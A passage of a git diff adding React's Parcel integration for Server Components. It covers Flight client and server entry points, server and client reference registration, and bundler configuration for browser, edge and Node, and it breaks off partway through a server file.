+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  renderToPipeableStream,
+  renderToReadableStream,
+  decodeReply,
+  decodeReplyFromBusboy,
+  decodeReplyFromAsyncIterable,
+  decodeAction,
+  decodeFormState,
+  createClientReference,
+  registerServerReference,
+  createTemporaryReferenceSet,
+  registerServerActions,
+  loadServerAction,
+} from './src/server/react-flight-dom-server.node';
diff --git a/packages/react-server-dom-parcel/src/ReactFlightParcelReferences.js b/packages/react-server-dom-parcel/src/ReactFlightParcelReferences.js
new file mode 100644
index 000000000000..3dd67e733cee
--- /dev/null
+++ b/packages/react-server-dom-parcel/src/ReactFlightParcelReferences.js
@@ -0,0 +1,137 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ReactClientValue} from 'react-server/src/ReactFlightServer';
+
+export type ServerReference<T: Function> = T & {
+  $$typeof: symbol,
+  $$id: string,
+  $$bound: null | Array<ReactClientValue>,
+  $$location?: Error,
+};
+
+// eslint-disable-next-line no-unused-vars
+export type ClientReference<T> = {
+  $$typeof: symbol,
+  $$id: string,
+  $$name: string,
+  $$bundles: Array<string>,
+  $$importMap?: ?{[string]: string},
+};
+
+const CLIENT_REFERENCE_TAG = Symbol.for('react.client.reference');
+const SERVER_REFERENCE_TAG = Symbol.for('react.server.reference');
+
+export function isClientReference(reference: Object): boolean {
+  return reference.$$typeof === CLIENT_REFERENCE_TAG;
+}
+
+export function isServerReference(reference: Object): boolean {
+  return reference.$$typeof === SERVER_REFERENCE_TAG;
+}
+
+export function createClientReference<T>(
+  id: string,
+  exportName: string,
+  bundles: Array<string>,
+  importMap?: ?{[string]: string},
+): ClientReference<T> {
+  return {
+    $$typeof: CLIENT_REFERENCE_TAG,
+    $$id: id,
+    $$name: exportName,
+    $$bundles: bundles,
+    $$importMap: importMap,
+  };
+}
+
+// $FlowFixMe[method-unbinding]
+const FunctionBind = Function.prototype.bind;
+// $FlowFixMe[method-unbinding]
+const ArraySlice = Array.prototype.slice;
+function bind(this: ServerReference<any>): any {
+  // $FlowFixMe[incompatible-call]
+  const newFn = FunctionBind.apply(this, arguments);
+  if (this.$$typeof === SERVER_REFERENCE_TAG) {
+    if (__DEV__) {
+      const thisBind = arguments[0];
+      if (thisBind != null) {
+        console.error(
+          'Cannot bind "this" of a Server Action. Pass null or undefined as the first argument to .bind().',
+        );
+      }
+    }
+    const args = ArraySlice.call(arguments, 1);
+    const $$typeof = {value: SERVER_REFERENCE_TAG};
+    const $$id = {value: this.$$id};
+    const $$bound = {value: this.$$bound ? this.$$bound.concat(args) : args};
+    return Object.defineProperties(
+      (newFn: any),
+      (__DEV__
+        ? {
+            $$typeof,
+            $$id,
+            $$bound,
+            $$location: {
+              value: this.$$location,
+              configurable: true,
+            },
+            bind: {value: bind, configurable: true},
+          }
+        : {
+            $$typeof,
+            $$id,
+            $$bound,
+            bind: {value: bind, configurable: true},
+          }) as PropertyDescriptorMap,
+    );
+  }
+  return newFn;
+}
+
+const serverReferenceToString = {
+  value: () => 'function () { [omitted code] }',
+  configurable: true,
+  writable: true,
+};
+
+export function registerServerReference<T>(
+  reference: ServerReference<T>,
+  id: string,
+  exportName: string,
+): ServerReference<T> {
+  const $$typeof = {value: SERVER_REFERENCE_TAG};
+  const $$id = {
+    value: id + '#' + exportName,
+    configurable: true,
+  };
+  const $$bound = {value: null, configurable: true};
+  return Object.defineProperties(
+    (reference: any),
+    (__DEV__
+      ? {
+          $$typeof,
+          $$id,
+          $$bound,
+          $$location: {
+            value: Error('react-stack-top-frame'),
+            configurable: true,
+          },
+          bind: {value: bind, configurable: true},
+          toString: serverReferenceToString,
+        }
+      : {
+          $$typeof,
+          $$id,
+          $$bound,
+          bind: {value: bind, configurable: true},
+          toString: serverReferenceToString,
+        }) as PropertyDescriptorMap,
+  );
+}
diff --git a/packages/react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel.js b/packages/react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel.js
new file mode 100644
index 000000000000..67b0abc9cc9c
--- /dev/null
+++ b/packages/react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel.js
@@ -0,0 +1,94 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Thenable, ReactDebugInfo} from 'shared/ReactTypes';
+
+import type {ImportMetadata} from '../shared/ReactFlightImportMetadata';
+
+import {
+  ID,
+  NAME,
+  BUNDLES,
+  IMPORT_MAP,
+} from '../shared/ReactFlightImportMetadata';
+import {prepareDestinationWithChunks} from 'react-client/src/ReactFlightClientConfig';
+
+import hasOwnProperty from 'shared/hasOwnProperty';
+
+export type ServerManifest = {
+  [string]: Array<string>,
+};
+export type SSRModuleMap = null;
+export type ModuleLoading = null;
+export type ServerConsumerModuleMap = null;
+export type ServerReferenceId = string;
+
+export opaque type ClientReferenceMetadata = ImportMetadata;
+
+// eslint-disable-next-line no-unused-vars
+export opaque type ClientReference<T> = ImportMetadata;
+
+export function prepareDestinationForModule(
+  moduleLoading: ModuleLoading,
+  nonce: ?string,
+  metadata: ClientReferenceMetadata,
+) {
+  prepareDestinationWithChunks(moduleLoading, metadata[BUNDLES], nonce);
+}
+
+export function resolveClientReference<T>(
+  bundlerConfig: null,
+  metadata: ClientReferenceMetadata,
+): ClientReference<T> {
+  // Reference is already resolved during the build.
+  return metadata;
+}
+
+export function resolveServerReference<T>(
+  bundlerConfig: ServerManifest,
+  ref: ServerReferenceId,
+): ClientReference<T> {
+  const idx = ref.lastIndexOf('#');
+  const id = ref.slice(0, idx);
+  const name = ref.slice(idx + 1);
+  const bundles = bundlerConfig[id];
+  if (!bundles) {
+    throw new Error('Invalid server action: ' + ref);
+  }
+  return [id, name, bundles];
+}
+
+export function preloadModule<T>(
+  metadata: ClientReference<T>,
+): null | Thenable<any> {
+  if (metadata[IMPORT_MAP]) {
+    parcelRequire.extendImportMap(metadata[IMPORT_MAP]);
+  }
+
+  if (metadata[BUNDLES].length === 0) {
+    return null;
+  }
+
+  return Promise.all(metadata[BUNDLES].map(url => parcelRequire.load(url)));
+}
+
+export function requireModule<T>(metadata: ClientReference<T>): T {
+  const moduleExports = parcelRequire(metadata[ID]);
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
+}
+
+export function getModuleDebugInfo<T>(
+  metadata: ClientReference<T>,
+): null | ReactDebugInfo {
+  // TODO
+  return null;
+}
diff --git a/packages/react-server-dom-parcel/src/client/ReactFlightClientConfigTargetParcelBrowser.js b/packages/react-server-dom-parcel/src/client/ReactFlightClientConfigTargetParcelBrowser.js
new file mode 100644
index 000000000000..31346b225548
--- /dev/null
+++ b/packages/react-server-dom-parcel/src/client/ReactFlightClientConfigTargetParcelBrowser.js
@@ -0,0 +1,18 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ModuleLoading} from './ReactFlightClientConfigBundlerParcel';
+
+export function prepareDestinationWithChunks(
+  moduleLoading: ModuleLoading,
+  bundles: Array<string>,
+  nonce: ?string,
+) {
+  // In the browser we don't need to prepare our destination since the browser is the Destination
+}
diff --git a/packages/react-server-dom-parcel/src/client/ReactFlightClientConfigTargetParcelServer.js b/packages/react-server-dom-parcel/src/client/ReactFlightClientConfigTargetParcelServer.js
new file mode 100644
index 000000000000..c4ebcde9412e
--- /dev/null
+++ b/packages/react-server-dom-parcel/src/client/ReactFlightClientConfigTargetParcelServer.js
@@ -0,0 +1,21 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ModuleLoading} from './ReactFlightClientConfigBundlerParcel';
+import {preinitModuleForSSR} from 'react-client/src/ReactFlightClientConfig';
+
+export function prepareDestinationWithChunks(
+  moduleLoading: ModuleLoading,
+  bundles: Array<string>,
+  nonce: ?string,
+) {
+  for (let i = 0; i < bundles.length; i++) {
+    preinitModuleForSSR(parcelRequire.meta.publicUrl + bundles[i], nonce);
+  }
+}
diff --git a/packages/react-server-dom-parcel/src/client/ReactFlightDOMClientBrowser.js b/packages/react-server-dom-parcel/src/client/ReactFlightDOMClientBrowser.js
new file mode 100644
index 000000000000..a034a460f809
--- /dev/null
+++ b/packages/react-server-dom-parcel/src/client/ReactFlightDOMClientBrowser.js
@@ -0,0 +1,328 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Thenable} from 'shared/ReactTypes.js';
+import type {
+  DebugChannel,
+  DebugChannelCallback,
+  Response as FlightResponse,
+} from 'react-client/src/ReactFlightClient';
+import type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';
+import type {ServerReferenceId} from '../client/ReactFlightClientConfigBundlerParcel';
+
+import {
+  createResponse,
+  createStreamState,
+  getRoot,
+  reportGlobalError,
+  processBinaryChunk,
+  processStringChunk,
+  close,
+  injectIntoDevTools,
+} from 'react-client/src/ReactFlightClient';
+
+import {
+  processReply,
+  createServerReference as createServerReferenceImpl,
+} from 'react-client/src/ReactFlightReplyClient';
+
+export {registerServerReference} from 'react-client/src/ReactFlightReplyClient';
+
+import type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
+
+export {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
+export type {TemporaryReferenceSet};
+
+function findSourceMapURL(filename: string, environmentName: string) {
+  const devServer = parcelRequire.meta.devServer;
+  if (devServer != null) {
+    const qs = new URLSearchParams();
+    qs.set('filename', filename);
+    qs.set('env', environmentName);
+    return devServer + '/__parcel_source_map?' + qs.toString();
+  }
+  return null;
+}
+
+type CallServerCallback = <A, T>(id: string, args: A) => Promise<T>;
+
+let callServer: CallServerCallback | null = null;
+export function setServerCallback(fn: CallServerCallback) {
+  callServer = fn;
+}
+
+function callCurrentServerCallback<A, T>(
+  id: ServerReferenceId,
+  args: A,
+): Promise<T> {
+  if (!callServer) {
+    throw new Error(
+      'No server callback has been registered. Call setServerCallback to register one.',
+    );
+  }
+  return callServer(id, args);
+}
+
+export function createServerReference<A: Iterable<any>, T>(
+  id: string,
+  exportName: string,
+): (...A) => Promise<T> {
+  return createServerReferenceImpl(
+    id + '#' + exportName,
+    callCurrentServerCallback,
+    undefined,
+    findSourceMapURL,
+    exportName,
+  );
+}
+
+function createDebugCallbackFromWritableStream(
+  debugWritable: WritableStream,
+): DebugChannelCallback {
+  const textEncoder = new TextEncoder();
+  const writer = debugWritable.getWriter();
+  return message => {
+    if (message === '') {
+      writer.close();
+    } else {
+      // Note: It's important that this function doesn't close over the Response object or it can't be GC:ed.
+      // Therefore, we can't report errors from this write back to the Response object.
+      if (__DEV__) {
+        writer.write(textEncoder.encode(message + '\n')).catch(console.error);
+      }
+    }
+  };
+}
+
+function createResponseFromOptions(options: void | Options) {
+  const debugChannel: void | DebugChannel =
+    __DEV__ && options && options.debugChannel !== undefined
+      ? {
+          hasReadable: options.debugChannel.readable !== undefined,
+          callback:
+            options.debugChannel.writable !== undefined
+              ? createDebugCallbackFromWritableStream(
+                  options.debugChannel.writable,
+                )
+              : null,
+        }
+      : undefined;
+
+  return createResponse(
+    null, // bundlerConfig
+    null, // serverReferenceConfig
+    null, // moduleLoading
+    callCurrentServerCallback,
+    undefined, // encodeFormAction
+    undefined, // nonce
+    options && options.temporaryReferences
+      ? options.temporaryReferences
+      : undefined,
+    options && options.unstable_allowPartialStream
+      ? options.unstable_allowPartialStream
+      : false,
+    __DEV__ ? findSourceMapURL : undefined,
+    __DEV__ ? (options ? options.replayConsoleLogs !== false : true) : false, // defaults to true
+    __DEV__ && options && options.environmentName
+      ? options.environmentName
+      : undefined,
+    __DEV__ && options && options.startTime != null
+      ? options.startTime
+      : undefined,
+    __DEV__ && options && options.endTime != null ? options.endTime : undefined,
+    debugChannel,
+  );
+}
+
+function startReadingFromUniversalStream(
+  response: FlightResponse,
+  stream: ReadableStream,
+  onDone: () => void,
+): void {
+  // This is the same as startReadingFromStream except this allows WebSocketStreams which
+  // return ArrayBuffer and string chunks instead of Uint8Array chunks. We could potentially
+  // always allow streams with variable chunk types.
+  const streamState = createStreamState(response, stream);
+  const reader = stream.getReader();
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: any,
+    ...
+  }): void | Promise<void> {
+    if (done) {
+      return onDone();
+    }
+    if (value instanceof ArrayBuffer) {
+      // WebSockets can produce ArrayBuffer values in ReadableStreams.
+      processBinaryChunk(response, streamState, new Uint8Array(value));
+    } else if (typeof value === 'string') {
+      // WebSockets can produce string values in ReadableStreams.
+      processStringChunk(response, streamState, value);
+    } else {
+      processBinaryChunk(response, streamState, value);
+    }
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    reportGlobalError(response, e);
+  }
+  reader.read().then(progress).catch(error);
+}
+
+function startReadingFromStream(
+  response: FlightResponse,
+  stream: ReadableStream,
+  onDone: () => void,
+  debugValue: mixed,
+): void {
+  const streamState = createStreamState(response, debugValue);
+  const reader = stream.getReader();
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: ?any,
+    ...
+  }): void | Promise<void> {
+    if (done) {
+      return onDone();
+    }
+    const buffer: Uint8Array = (value: any);
+    processBinaryChunk(response, streamState, buffer);
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    reportGlobalError(response, e);
+  }
+  reader.read().then(progress).catch(error);
+}
+
+export type Options = {
+  debugChannel?: {writable?: WritableStream, readable?: ReadableStream, ...},
+  temporaryReferences?: TemporaryReferenceSet,
+  unstable_allowPartialStream?: boolean,
+  replayConsoleLogs?: boolean,
+  environmentName?: string,
+  startTime?: number,
+  endTime?: number,
+};
+
+export function createFromReadableStream<T>(
+  stream: ReadableStream,
+  options?: Options,
+): Thenable<T> {
+  const response: FlightResponse = createResponseFromOptions(options);
+  if (
+    __DEV__ &&
+    options &&
+    options.debugChannel &&
+    options.debugChannel.readable
+  ) {
+    let streamDoneCount = 0;
+    const handleDone = () => {
+      if (++streamDoneCount === 2) {
+        close(response);
+      }
+    };
+    startReadingFromUniversalStream(
+      response,
+      options.debugChannel.readable,
+      handleDone,
+    );
+    startReadingFromStream(response, stream, handleDone, stream);
+  } else {
+    startReadingFromStream(
+      response,
+      stream,
+      close.bind(null, response),
+      stream,
+    );
+  }
+  return getRoot(response);
+}
+
+export function createFromFetch<T>(
+  promiseForResponse: Promise<Response>,
+  options?: Options,
+): Thenable<T> {
+  const response: FlightResponse = createResponseFromOptions(options);
+  promiseForResponse.then(
+    function (r) {
+      if (
+        __DEV__ &&
+        options &&
+        options.debugChannel &&
+        options.debugChannel.readable
+      ) {
+        let streamDoneCount = 0;
+        const handleDone = () => {
+          if (++streamDoneCount === 2) {
+            close(response);
+          }
+        };
+        startReadingFromUniversalStream(
+          response,
+          options.debugChannel.readable,
+          handleDone,
+        );
+        startReadingFromStream(response, (r.body: any), handleDone, r);
+      } else {
+        startReadingFromStream(
+          response,
+          (r.body: any),
+          close.bind(null, response),
+          r,
+        );
+      }
+    },
+    function (e) {
+      reportGlobalError(response, e);
+    },
+  );
+  return getRoot(response);
+}
+
+export function encodeReply(
+  value: ReactServerValue,
+  options?: {temporaryReferences?: TemporaryReferenceSet, signal?: AbortSignal},
+): Promise<
+  string | URLSearchParams | FormData,
+> /* We don't use URLSearchParams yet but maybe */ {
+  return new Promise((resolve, reject) => {
+    const abort = processReply(
+      value,
+      '', // formFieldPrefix
+      options && options.temporaryReferences
+        ? options.temporaryReferences
+        : undefined,
+      resolve,
+      reject,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        abort((signal: any).reason);
+      } else {
+        const listener = () => {
+          abort((signal: any).reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+  });
+}
+
+if (__DEV__) {
+  injectIntoDevTools();
+}
diff --git a/packages/react-server-dom-parcel/src/client/ReactFlightDOMClientEdge.js b/packages/react-server-dom-parcel/src/client/ReactFlightDOMClientEdge.js
new file mode 100644
index 000000000000..57afee2e914c
--- /dev/null
+++ b/packages/react-server-dom-parcel/src/client/ReactFlightDOMClientEdge.js
@@ -0,0 +1,255 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';
+
+import type {
+  DebugChannel,
+  Response as FlightResponse,
+} from 'react-client/src/ReactFlightClient';
+import type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';
+
+import {
+  createResponse,
+  createStreamState,
+  getRoot,
+  reportGlobalError,
+  processBinaryChunk,
+  close,
+} from 'react-client/src/ReactFlightClient';
+
+import {
+  processReply,
+  createServerReference as createServerReferenceImpl,
+} from 'react-client/src/ReactFlightReplyClient';
+
+export {registerServerReference} from 'react-client/src/ReactFlightReplyClient';
+
+import type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
+
+export {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
+export type {TemporaryReferenceSet};
+
+function findSourceMapURL(filename: string, environmentName: string) {
+  const devServer = parcelRequire.meta.devServer;
+  if (devServer != null) {
+    const qs = new URLSearchParams();
+    qs.set('filename', filename);
+    qs.set('env', environmentName);
+    return devServer + '/__parcel_source_map?' + qs.toString();
+  }
+  return null;
+}
+
+function noServerCall() {
+  throw new Error(
+    'Server Functions cannot be called during initial render. ' +
+      'This would create a fetch waterfall. Try to use a Server Component ' +
+      'to pass data to Client Components instead.',
+  );
+}
+
+export function createServerReference<A: Iterable<any>, T>(
+  id: string,
+  exportName: string,
+): (...A) => Promise<T> {
+  return createServerReferenceImpl(
+    id + '#' + exportName,
+    noServerCall,
+    undefined,
+    findSourceMapURL,
+    exportName,
+  );
+}
+
+type EncodeFormActionCallback = <A>(
+  id: any,
+  args: Promise<A>,
+) => ReactCustomFormAction;
+
+export type Options = {
+  nonce?: string,
+  encodeFormAction?: EncodeFormActionCallback,
+  temporaryReferences?: TemporaryReferenceSet,
+  unstable_allowPartialStream?: boolean,
+  replayConsoleLogs?: boolean,
+  environmentName?: string,
+  startTime?: number,
+  endTime?: number,
+  // For the Edge client we only support a single-direction debug channel.
+  debugChannel?: {readable?: ReadableStream, ...},
+};
+
+function createResponseFromOptions(options?: Options) {
+  const debugChannel: void | DebugChannel =
+    __DEV__ && options && options.debugChannel !== undefined
+      ? {
+          hasReadable: options.debugChannel.readable !== undefined,
+          callback: null,
+        }
+      : undefined;
+
+  return createResponse(
+    null, // bundlerConfig
+    null, // serverReferenceConfig
+    null, // moduleLoading
+    noServerCall,
+    options ? options.encodeFormAction : undefined,
+    options && typeof options.nonce === 'string' ? options.nonce : undefined,
+    options && options.temporaryReferences
+      ? options.temporaryReferences
+      : undefined,
+    options && options.unstable_allowPartialStream
+      ? options.unstable_allowPartialStream
+      : false,
+    __DEV__ ? findSourceMapURL : undefined,
+    __DEV__ && options ? options.replayConsoleLogs === true : false, // defaults to false
+    __DEV__ && options && options.environmentName
+      ? options.environmentName
+      : undefined,
+    __DEV__ && options && options.startTime != null
+      ? options.startTime
+      : undefined,
+    __DEV__ && options && options.endTime != null ? options.endTime : undefined,
+    debugChannel,
+  );
+}
+
+function startReadingFromStream(
+  response: FlightResponse,
+  stream: ReadableStream,
+  onDone: () => void,
+  debugValue: mixed,
+): void {
+  const streamState = createStreamState(response, debugValue);
+  const reader = stream.getReader();
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: ?any,
+    ...
+  }): void | Promise<void> {
+    if (done) {
+      return onDone();
+    }
+    const buffer: Uint8Array = (value: any);
+    processBinaryChunk(response, streamState, buffer);
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    reportGlobalError(response, e);
+  }
+  reader.read().then(progress).catch(error);
+}
+
+export function createFromReadableStream<T>(
+  stream: ReadableStream,
+  options?: Options,
+): Thenable<T> {
+  const response: FlightResponse = createResponseFromOptions(options);
+
+  if (
+    __DEV__ &&
+    options &&
+    options.debugChannel &&
+    options.debugChannel.readable
+  ) {
+    let streamDoneCount = 0;
+    const handleDone = () => {
+      if (++streamDoneCount === 2) {
+        close(response);
+      }
+    };
+    startReadingFromStream(response, options.debugChannel.readable, handleDone);
+    startReadingFromStream(response, stream, handleDone, stream);
+  } else {
+    startReadingFromStream(
+      response,
+      stream,
+      close.bind(null, response),
+      stream,
+    );
+  }
+
+  return getRoot(response);
+}
+
+export function createFromFetch<T>(
+  promiseForResponse: Promise<Response>,
+  options?: Options,
+): Thenable<T> {
+  const response: FlightResponse = createResponseFromOptions(options);
+  promiseForResponse.then(
+    function (r) {
+      if (
+        __DEV__ &&
+        options &&
+        options.debugChannel &&
+        options.debugChannel.readable
+      ) {
+        let streamDoneCount = 0;
+        const handleDone = () => {
+          if (++streamDoneCount === 2) {
+            close(response);
+          }
+        };
+        startReadingFromStream(
+          response,
+          options.debugChannel.readable,
+          handleDone,
+        );
+        startReadingFromStream(response, (r.body: any), handleDone, r);
+      } else {
+        startReadingFromStream(
+          response,
+          (r.body: any),
+          close.bind(null, response),
+          r,
+        );
+      }
+    },
+    function (e) {
+      reportGlobalError(response, e);
+    },
+  );
+  return getRoot(response);
+}
+
+export function encodeReply(
+  value: ReactServerValue,
+  options?: {temporaryReferences?: TemporaryReferenceSet, signal?: AbortSignal},
+): Promise<
+  string | URLSearchParams | FormData,
+> /* We don't use URLSearchParams yet but maybe */ {
+  return new Promise((resolve, reject) => {
+    const abort = processReply(
+      value,
+      '',
+      options && options.temporaryReferences
+        ? options.temporaryReferences
+        : undefined,
+      resolve,
+      reject,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        abort((signal: any).reason);
+      } else {
+        const listener = () => {
+          abort((signal: any).reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+  });
+}
diff --git a/packages/react-server-dom-parcel/src/client/ReactFlightDOMClientNode.js b/packages/react-server-dom-parcel/src/client/ReactFlightDOMClientNode.js
new file mode 100644
index 000000000000..941ca67dcfa1
--- /dev/null
+++ b/packages/react-server-dom-parcel/src/client/ReactFlightDOMClientNode.js
@@ -0,0 +1,130 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';
+import type {DebugChannel, Response} from 'react-client/src/ReactFlightClient';
+import type {Readable} from 'stream';
+
+import {
+  createResponse,
+  createStreamState,
+  getRoot,
+  reportGlobalError,
+  processStringChunk,
+  processBinaryChunk,
+  close,
+} from 'react-client/src/ReactFlightClient';
+
+export * from './ReactFlightDOMClientEdge';
+
+function findSourceMapURL(filename: string, environmentName: string) {
+  const devServer = parcelRequire.meta.devServer;
+  if (devServer != null) {
+    const qs = new URLSearchParams();
+    qs.set('filename', filename);
+    qs.set('env', environmentName);
+    return devServer + '/__parcel_source_map?' + qs.toString();
+  }
+  return null;
+}
+
+function noServerCall() {
+  throw new Error(
+    'Server Functions cannot be called during initial render. ' +
+      'This would create a fetch waterfall. Try to use a Server Component ' +
+      'to pass data to Client Components instead.',
+  );
+}
+
+type EncodeFormActionCallback = <A>(
+  id: any,
+  args: Promise<A>,
+) => ReactCustomFormAction;
+
+export type Options = {
+  nonce?: string,
+  encodeFormAction?: EncodeFormActionCallback,
+  unstable_allowPartialStream?: boolean,
+  replayConsoleLogs?: boolean,
+  environmentName?: string,
+  startTime?: number,
+  endTime?: number,
+  // For the Node.js client we only support a single-direction debug channel.
+  debugChannel?: Readable,
+};
+
+function startReadingFromStream(
+  response: Response,
+  stream: Readable,
+  onEnd: () => void,
+): void {
+  const streamState = createStreamState(response, stream);
+
+  stream.on('data', chunk => {
+    if (typeof chunk === 'string') {
+      processStringChunk(response, streamState, chunk);
+    } else {
+      processBinaryChunk(response, streamState, chunk);
+    }
+  });
+
+  stream.on('error', error => {
+    reportGlobalError(response, error);
+  });
+
+  stream.on('end', onEnd);
+}
+
+export function createFromNodeStream<T>(
+  stream: Readable,
+  options?: Options,
+): Thenable<T> {
+  const debugChannel: void | DebugChannel =
+    __DEV__ && options && options.debugChannel !== undefined
+      ? {hasReadable: true, callback: null}
+      : undefined;
+
+  const response: Response = createResponse(
+    null, // bundlerConfig
+    null, // serverReferenceConfig
+    null, // moduleLoading
+    noServerCall,
+    options ? options.encodeFormAction : undefined,
+    options && typeof options.nonce === 'string' ? options.nonce : undefined,
+    undefined, // TODO: If encodeReply is supported, this should support temporaryReferences
+    options && options.unstable_allowPartialStream
+      ? options.unstable_allowPartialStream
+      : false,
+    __DEV__ ? findSourceMapURL : undefined,
+    __DEV__ && options ? options.replayConsoleLogs === true : false, // defaults to false
+    __DEV__ && options && options.environmentName
+      ? options.environmentName
+      : undefined,
+    __DEV__ && options && options.startTime != null
+      ? options.startTime
+      : undefined,
+    __DEV__ && options && options.endTime != null ? options.endTime : undefined,
+    debugChannel,
+  );
+
+  if (__DEV__ && options && options.debugChannel) {
+    let streamEndedCount = 0;
+    const handleEnd = () => {
+      if (++streamEndedCount === 2) {
+        close(response);
+      }
+    };
+    startReadingFromStream(response, options.debugChannel, handleEnd);
+    startReadingFromStream(response, stream, handleEnd);
+  } else {
+    startReadingFromStream(response, stream, close.bind(null, response));
+  }
+
+  return getRoot(response);
+}
diff --git a/packages/react-server-dom-parcel/src/client/react-flight-dom-client.browser.js b/packages/react-server-dom-parcel/src/client/react-flight-dom-client.browser.js
new file mode 100644
index 000000000000..a3f15d0116cf
--- /dev/null
+++ b/packages/react-server-dom-parcel/src/client/react-flight-dom-client.browser.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from './ReactFlightDOMClientBrowser';
diff --git a/packages/react-server-dom-parcel/src/client/react-flight-dom-client.edge.js b/packages/react-server-dom-parcel/src/client/react-flight-dom-client.edge.js
new file mode 100644
index 000000000000..14a8876953b2
--- /dev/null
+++ b/packages/react-server-dom-parcel/src/client/react-flight-dom-client.edge.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from './ReactFlightDOMClientEdge';
diff --git a/packages/react-server-dom-parcel/src/client/react-flight-dom-client.node.js b/packages/react-server-dom-parcel/src/client/react-flight-dom-client.node.js
new file mode 100644
index 000000000000..8eb9daa35b6f
--- /dev/null
+++ b/packages/react-server-dom-parcel/src/client/react-flight-dom-client.node.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from './ReactFlightDOMClientNode';
diff --git a/packages/react-server-dom-parcel/src/server/ReactFlightDOMServerBrowser.js b/packages/react-server-dom-parcel/src/server/ReactFlightDOMServerBrowser.js
new file mode 100644
index 000000000000..aa677216d0a0
--- /dev/null
+++ b/packages/react-server-dom-parcel/src/server/ReactFlightDOMServerBrowser.js
@@ -0,0 +1,296 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  Request,
+  ReactClientValue,
+} from 'react-server/src/ReactFlightServer';
+import type {ReactFormState, Thenable} from 'shared/ReactTypes';
+
+import {
+  preloadModule,
+  requireModule,
+  resolveServerReference,
+  type ServerManifest,
+  type ServerReferenceId,
+} from '../client/ReactFlightClientConfigBundlerParcel';
+
+import {
+  createRequest,
+  createPrerenderRequest,
+  startWork,
+  startFlowing,
+  startFlowingDebug,
+  stopFlowing,
+  abort,
+  resolveDebugMessage,
+  closeDebugChannel,
+} from 'react-server/src/ReactFlightServer';
+
+import {
+  createResponse,
+  close,
+  getRoot,
+} from 'react-server/src/ReactFlightReplyServer';
+
+import {
+  decodeAction as decodeActionImpl,
+  decodeFormState as decodeFormStateImpl,
+} from 'react-server/src/ReactFlightActionServer';
+
+export {
+  createClientReference,
+  registerServerReference,
+} from '../ReactFlightParcelReferences';
+
+import {
+  createStringDecoder,
+  readPartialStringChunk,
+  readFinalStringChunk,
+} from 'react-client/src/ReactFlightClientStreamConfigWeb';
+
+import type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+export type {TemporaryReferenceSet};
+
+type Options = {
+  debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},
